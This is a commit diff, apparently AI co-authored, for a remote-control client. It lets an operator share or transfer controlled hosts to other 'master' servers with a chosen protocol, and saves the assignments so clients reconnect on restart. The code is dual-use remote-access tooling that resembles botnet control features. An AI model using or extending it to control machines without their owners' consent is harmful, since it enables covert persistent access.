Feature: Add Shine/HELL protocol selection to share/transfer host

Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro

client/ClientDll.cpp

@@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
     return S_CLIENT_NORMAL == This->g_bExit;
 }
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
 {
     auto v = StringToVector(remoteAddr, ':', 2);
     if (v[0].empty() || v[1].empty())
         return nullptr;
     auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
     a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
+    if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
+        a->g_Connection->iHeaderEnc = headerEnc;
     return a;
 }
 
@@ -597,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
             auto saved_ip = cfg.GetStr("settings", "master");
             auto saved_port = cfg.GetInt("settings", "port");
             settings.SetServer(saved_ip.c_str(), saved_port);
+            auto saved_proto = cfg.GetStr("settings", "master_proto");
+            if (saved_proto == "0" || saved_proto == "1")
+                settings.iHeaderEnc = atoi(saved_proto.c_str());
             Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
                     int(valid_to-now));
         }
@@ -617,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
         auto a = cfg.GetStr("settings", "share_list");
         auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
         for (int i = 0; i < shareList.size(); ++i) {
-            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
+            auto v = StringToVector(shareList[i], ':', 3);
+            int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
+            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
             if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
             Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
         }

client/ClientDll.h

@@ -130,7 +130,7 @@ public:
     }
 };
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
 
 // 启动核心线程，参数为：ClientApp
 DWORD WINAPI StartClient(LPVOID lParam);

client/KernelManager.cpp

@@ -1019,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     case COMMAND_SHARE:
     case COMMAND_ASSIGN_MASTER:
         if (ulLength > 2) {
+            // 解析末尾协议段（Shine=0 / HELL=1，旧命令无此段则 -1 沿用烘焙值）
+            int shareProto = -1;
+            {
+                auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
+                if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
+                    shareProto = atoi(pv[2].c_str());
+                else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
+                    shareProto = atoi(pv[3].c_str());
+            }
             switch (szBuffer[1]) {
             case SHARE_TYPE_YAMA_FOREVER: {
                 auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1029,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                 if (now <= valid_to) break; // Avoid assign again
                 m_cfg->SetStr("settings", "master", v[0]);
                 m_cfg->SetStr("settings", "port", v[1]);
+                if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                    m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
                 float days = atof(v[2].c_str());
                 if (days > 0) {
                     auto valid_to = time(0) + days*86400;
@@ -1047,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     if (v[0].empty() || v[1].empty())
                         break;
                     auto share = v[0] + ":" + v[1];
+                    if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                        share += ":" + std::to_string(shareProto);
                     auto list = m_cfg->GetStr("settings", "share_list");
                     auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
                     if (VectorContains(shareList, share)) break;
@@ -1054,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
                     Mprintf("Share client to new master: %s\n", share.c_str());
                 }
-                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
+                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
                 if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
                 break;
             }